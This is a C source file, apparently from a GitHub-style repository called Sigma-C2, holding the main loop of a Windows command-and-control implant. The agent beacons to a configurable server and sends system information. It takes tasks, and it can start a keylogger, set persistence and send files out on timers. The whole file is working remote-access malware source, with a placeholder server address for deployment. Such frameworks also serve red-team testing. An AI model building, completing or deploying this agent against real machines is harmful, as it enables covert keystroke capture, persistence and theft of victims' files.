Files
Sigma-C2/agent/agent.c

167 lines
4.5 KiB
C
Raw Normal View History

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "config.h"
#include "commands.c"
#include "files.c"
#include "info.c"
#include "modules.c"
#include "navigation.c"
#include "processes.c"
#include "transport.c"
// Buffer to store startup tasks result
char startup_result[1024];
LARGE_INTEGER start, end, freq;
#if TESTING_BUILD
char agentID[] = "TestAgent";
char* serverDomains[] = {"192.168.1.4"};
int startupDelay = 0;
#if USE_SCHANNEL
unsigned short int SERVER_PORT = 8443;
#elif USE_WOLFSSL
unsigned short int SERVER_PORT = 8443;
#else
unsigned short int SERVER_PORT = 8888;
#endif
#else
char agentID[] = "PLACEHOLDER_AGENT_ID";
char* serverDomains[] = {"PLACEHOLDER_SERVER_ADDR"};
unsigned short int SERVER_PORT = 54321;
int startupDelay = 1298;
#endif
unsigned short int domainCount = sizeof(serverDomains) / sizeof(serverDomains[0]);
2025-02-06 14:42:06 +01:00
int reconnectDelay = 5678;
int keylogDelay = 20000;
int filesDelay = 17000;
short int firstConnection = 1;
2025-02-06 14:42:06 +01:00
#if ENABLE_KEYLOGGER
HANDLE hKeylogThread = NULL;
HANDLE hKeylogTimerThread = NULL;
#endif
#if AUTO_FILES
HANDLE hFilesTimerThread = NULL;
#endif
2025-02-06 14:42:06 +01:00
// Receive response after heartbeat
void ReceiveResponse(Transport* transport) {
2025-04-26 21:11:19 +02:00
char buffer[512];
int bytesReceived = transport->recv(transport->handle, buffer, sizeof(buffer) - 1);
2025-02-06 14:42:06 +01:00
if (bytesReceived <= 0) {
fprintf(stderr, "Error receiving message from server\n");
return;
}
buffer[bytesReceived] = '\0';
printf("Message from server: %s\n", buffer);
2025-04-26 21:11:19 +02:00
// Check if there is a task to do
if (strncmp(buffer, "TASK", 4) == 0) {
2025-02-06 14:42:06 +01:00
printf("Received task from server\n");
2025-04-26 21:11:19 +02:00
char* taskID = strtok(buffer + 4, "~");
char* taskType = strtok(NULL, "~");
2025-02-06 14:42:06 +01:00
char* taskArgs = strtok(NULL, "");
2025-04-26 21:11:19 +02:00
printf("Task ID: %s\n", taskID);
2025-02-06 14:42:06 +01:00
printf("Task type: %s\n", taskType);
printf("Task args: %s\n", taskArgs);
if (taskType) {
2025-04-26 21:11:19 +02:00
HandleTask(transport, taskID, taskType, taskArgs);
} else {
2025-04-26 21:11:19 +02:00
SendTaskResult(transport, "", "Invalid task format\n");
2025-02-06 14:42:06 +01:00
}
} else if (strcmp(buffer, "ACK") == 0) {
2025-02-06 14:42:06 +01:00
printf("Message acknowledged by server\n");
}
}
// Check-in with server
void SendHeartbeat(Transport* transport) {
char heartbeat_message[32];
snprintf(heartbeat_message, sizeof(heartbeat_message), "%s~HEARTBEAT", agentID);
2025-02-06 14:42:06 +01:00
int sent = transport->send(transport->handle, heartbeat_message, strlen(heartbeat_message));
if (sent <= 0) {
fprintf(stderr, "Error: Failed to send heartbeat, returned %d\n", sent);
CleanupTransport(transport);
return;
2025-02-06 14:42:06 +01:00
}
printf("Heartbeat sent successfully, bytes sent: %d\n", sent);
ReceiveResponse(transport);
2025-02-06 14:42:06 +01:00
}
void start_timer() {
QueryPerformanceFrequency(&freq);
QueryPerformanceCounter(&start);
}
void stop_timer() {
QueryPerformanceCounter(&end);
double elapsed = (double)(end.QuadPart - start.QuadPart) / freq.QuadPart;
printf("\nElapsed time: %.6f seconds\n", elapsed);
}
int main() {
if (firstConnection) {
printf("Initial startup delay for %d milliseconds...\n", startupDelay);
Sleep(startupDelay);
}
#if ENABLE_PERSISTENCE && AUTO_PERSISTENCE
CheckPersistence(startup_result);
2025-02-06 14:42:06 +01:00
#endif
#if ENABLE_KEYLOGGER && AUTO_KEYLOGGER
InitKeylogger(startup_result);
2025-02-06 14:42:06 +01:00
#endif
#if AUTO_FILES
InitFileSender();
#endif
2025-02-06 14:42:06 +01:00
// Testing
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
fprintf(stderr, "Error: WSAStartup failed, error %d\n", WSAGetLastError());
return 0;
}
// Main loop for communication with server
2025-02-06 14:42:06 +01:00
while (1) {
// Testing
start_timer();
Transport* transport = InitTransport(GetNextDomain(), SERVER_PORT);
if (!transport) {
printf("Connection failed. Retrying in %d seconds...\n", reconnectDelay / 1000);
2025-02-06 14:42:06 +01:00
Sleep(reconnectDelay);
continue;
}
printf("Connected to server\n");
if (firstConnection) {
SendSysInfo(startup_result);
SendTaskResult(transport, "SYSINFO", startup_result);
2025-02-06 14:42:06 +01:00
firstConnection = 0;
} else {
printf("Trying to send heartbeat\n");
SendHeartbeat(transport);
2025-02-06 14:42:06 +01:00
}
CleanupTransport(transport);
2025-02-06 14:42:06 +01:00
printf("Disconnecting from server\n");
// Testing
stop_timer();
2025-02-06 14:42:06 +01:00
Sleep(reconnectDelay);
}
return 0;
}